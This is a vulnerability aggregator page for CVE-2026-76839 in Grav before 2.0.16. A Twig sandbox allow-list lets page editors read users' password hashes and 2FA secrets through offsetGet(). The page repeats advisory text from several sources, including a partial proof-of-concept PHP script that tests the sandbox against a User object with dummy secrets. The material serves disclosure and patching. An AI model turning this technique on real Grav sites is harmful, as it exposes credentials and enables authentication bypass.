CVE-2026-76839
Grav before 2.0.16 Information Disclosure via offsetGet
Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.7
Grav before 2.0.16 Information Disclosure via offsetGet
Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass.
- Record
CVE-2026-76839- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-522
- Updated
- 2026-11-02
EUVDEUVD-2026-65219
8.7
Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass.
- Record
EUVD-2026-65219- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3jhr-mxmx-38cx
8.7
Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
Summary
system/config/security.yaml's Twig sandbox policy allow-lists offsetget and
offsetexists for Grav\Common\User\Interfaces\UserInterface. The concrete
Grav\Common\User\DataUser\User class does not filter which fields offsetGet()
returns, so any sandboxed template with access to a User object can read
hashed_password, secret (2FA seed), and twofa_secret directly, bypassing the
redaction Grav's own code applies everywhere else.
The core evidence, from Grav's own code
system/src/Grav/Common/User/DataUser/User.php:
/**
* {@inheritdoc}
* Override to filter out sensitive fields like password hashes
*/
public function jsonSerialize(): array
{
$items = parent::jsonSerialize();
// Security: Remove sensitive fields that should never be exposed to frontend
unset($items['hashed_password']);
unset($items['secret']); // 2FA secret
unset($items['twofa_secret']); // Alternative 2FA field name
return $items;
}
public function offsetGet($offset)
{
$value = parent::offsetGet($offset);
// only special-cases 'authorized', nothing else -- no redaction
return $value;
}
system/config/security.yaml:
- class: 'Grav\Common\User\Interfaces\UserInterface'
methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'
This is the same vulnerability shape as two already-fixed issues in this file (GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access path bypassing an intended redaction) recurring on a third class neither fix covered.
Live, end-to-end verification
Built a real Twig\Environment wired with the real Twig\Extension\SandboxExtension,
policed by Grav's own GravSecurityPolicy class, constructed directly from values
parsed out of the actual system/config/security.yaml (via
Symfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real
template strings against a real User object.
Environment setup:
git clone https://github.com/getgrav/grav.git
cd grav
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
live_sandbox_render_test.php:
<?php
require 'vendor/autoload.php';
use Symfony\Component\Yaml\Yaml;
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Grav\Common\Twig\Sandbox\GravSecurityPolicy;
use Grav\Common\User\DataUser\User;
$securityYaml = Yaml::parseFile('system/config/security.yaml');
$sandboxCfg = $securityYaml['twig_sandbox'];
function rowsToMap(array $rows): array {
$out = [];
foreach ($rows as $row) {
$out[$row['class']] = array_map('strtolower', array_map('trim', explode(',', $row['methods'])));
}
return $out;
}
$policy = new GravSecurityPolicy(
$sandboxCfg['allowed_tags'],
$sandboxCfg['allowed_filters'],
rowsToMap($sandboxCfg['allowed_methods']),
rowsToMap($sandboxCfg['allowed_properties']),
$sandboxCfg['allowed_functions']
);
$sandbox = new SandboxExtension($policy, true);
$user = new User([
'username' => 'admin',
'hashed_password' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX',
'secret' => 'JBSWY3DPEHPK3PXP',
'twofa_secret' => 'ALT2FASECRETVALUE9999',
]);
function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {
$twig = new Environment(new ArrayLoader(['@Page:test' => $template]));
$twig->addExtension($sandbox);
try {
echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n";
} catch (\Twig\Sandbox\SecurityError $e) {
echo "$label => BLOCKED: " . $e->getMessage() . "\n";
}
}
tryRender('hashed_password via offsetGet()', "{{…
- Record
GHSA-3jhr-mxmx-38cx- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-522
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8vp7-8q4w-vv7m
8.7
Duplicate Advisory: Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3jhr-mxmx-38cx. This link is maintained to preserve external references.
Original Description
Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass.
- Record
GHSA-8vp7-8q4w-vv7m- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-522
- Updated
- 2026-11-02
NVD
8.7
Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass.
- Record
CVE-2026-76839- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-522
- Updated
- 2026-11-02
OSV
8.7
Grav before 2.0.16 Information Disclosure via offsetGet
Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass.
- Record
CVE-2026-76839- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-522
- Updated
- 2026-11-02
OSVGHSA-3jhr-mxmx-38cx
8.7
Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
Summary
system/config/security.yaml's Twig sandbox policy allow-lists offsetget and
offsetexists for Grav\Common\User\Interfaces\UserInterface. The concrete
Grav\Common\User\DataUser\User class does not filter which fields offsetGet()
returns, so any sandboxed template with access to a User object can read
hashed_password, secret (2FA seed), and twofa_secret directly, bypassing the
redaction Grav's own code applies everywhere else.
The core evidence, from Grav's own code
system/src/Grav/Common/User/DataUser/User.php:
/**
* {@inheritdoc}
* Override to filter out sensitive fields like password hashes
*/
public function jsonSerialize(): array
{
$items = parent::jsonSerialize();
// Security: Remove sensitive fields that should never be exposed to frontend
unset($items['hashed_password']);
unset($items['secret']); // 2FA secret
unset($items['twofa_secret']); // Alternative 2FA field name
return $items;
}
public function offsetGet($offset)
{
$value = parent::offsetGet($offset);
// only special-cases 'authorized', nothing else -- no redaction
return $value;
}
system/config/security.yaml:
- class: 'Grav\Common\User\Interfaces\UserInterface'
methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'
This is the same vulnerability shape as two already-fixed issues in this file (GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access path bypassing an intended redaction) recurring on a third class neither fix covered.
Live, end-to-end verification
Built a real Twig\Environment wired with the real Twig\Extension\SandboxExtension,
policed by Grav's own GravSecurityPolicy class, constructed directly from values
parsed out of the actual system/config/security.yaml (via
Symfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real
template strings against a real User object.
Environment setup:
git clone https://github.com/getgrav/grav.git
cd grav
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
live_sandbox_render_test.php:
<?php
require 'vendor/autoload.php';
use Symfony\Component\Yaml\Yaml;
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Grav\Common\Twig\Sandbox\GravSecurityPolicy;
use Grav\Common\User\DataUser\User;
$securityYaml = Yaml::parseFile('system/config/security.yaml');
$sandboxCfg = $securityYaml['twig_sandbox'];
function rowsToMap(array $rows): array {
$out = [];
foreach ($rows as $row) {
$out[$row['class']] = array_map('strtolower', array_map('trim', explode(',', $row['methods'])));
}
return $out;
}
$policy = new GravSecurityPolicy(
$sandboxCfg['allowed_tags'],
$sandboxCfg['allowed_filters'],
rowsToMap($sandboxCfg['allowed_methods']),
rowsToMap($sandboxCfg['allowed_properties']),
$sandboxCfg['allowed_functions']
);
$sandbox = new SandboxExtension($policy, true);
$user = new User([
'username' => 'admin',
'hashed_password' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX',
'secret' => 'JBSWY3DPEHPK3PXP',
'twofa_secret' => 'ALT2FASECRETVALUE9999',
]);
function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {
$twig = new Environment(new ArrayLoader(['@Page:test' => $template]));
$twig->addExtension($sandbox);
try {
echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n";
} catch (\Twig\Sandbox\SecurityError $e) {
echo "$label => BLOCKED: " . $e->getMessage() . "\n";
}
}
tryRender('hashed_password via offsetGet()', "{{…
- Record
GHSA-3jhr-mxmx-38cx- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-522
- Updated
- 2026-11-02
OSVGHSA-8vp7-8q4w-vv7m
8.7
Duplicate Advisory: Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3jhr-mxmx-38cx. This link is maintained to preserve external references.
Original Description
Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass.
- Record
GHSA-8vp7-8q4w-vv7m- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-522
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
getgrav/gravPackagist |
through 2.0.15 | 2.0.16 |
getgrav/gravPackagist |
before 2.0.16, plus listed versions 0.8.00.9.00.9.10.9.100.9.11 Show 45 moreShow less0.9.120.9.130.9.140.9.150.9.160.9.170.9.180.9.190.9.20.9.200.9.210.9.220.9.230.9.240.9.250.9.260.9.270.9.280.9.290.9.30.9.300.9.310.9.320.9.330.9.340.9.350.9.360.9.370.9.380.9.390.9.40.9.400.9.410.9.420.9.430.9.440.9.450.9.50.9.60.9.70.9.80.9.91.0.01.0.0-rc.11.0.0-rc.2 |
2.0.16 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-76839 is a high vulnerability (CVSS 8.7) in Getgrav Grav, published August 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. Fixed in getgrav/grav 2.0.16.
References
github.com/getgrav/grav/security/advisories/GHSA-3jhr-mxmx-38cx
vulncheck.com/advisories/grav-before-information-disclosure-via-offsetget
nvd.nist.gov/vuln/detail/CVE-2026-76839
github.com/advisories/GHSA-3jhr-mxmx-38cx
github.com/advisories/GHSA-8vp7-8q4w-vv7m
github.com/CVEProject/cvelistV5/tree/main/cves/2026/76xxx/CVE-2026-76839.json
github.com/getgrav/grav
Left out here: 300 versions and the rest of 2 source descriptions. The JSON record has them.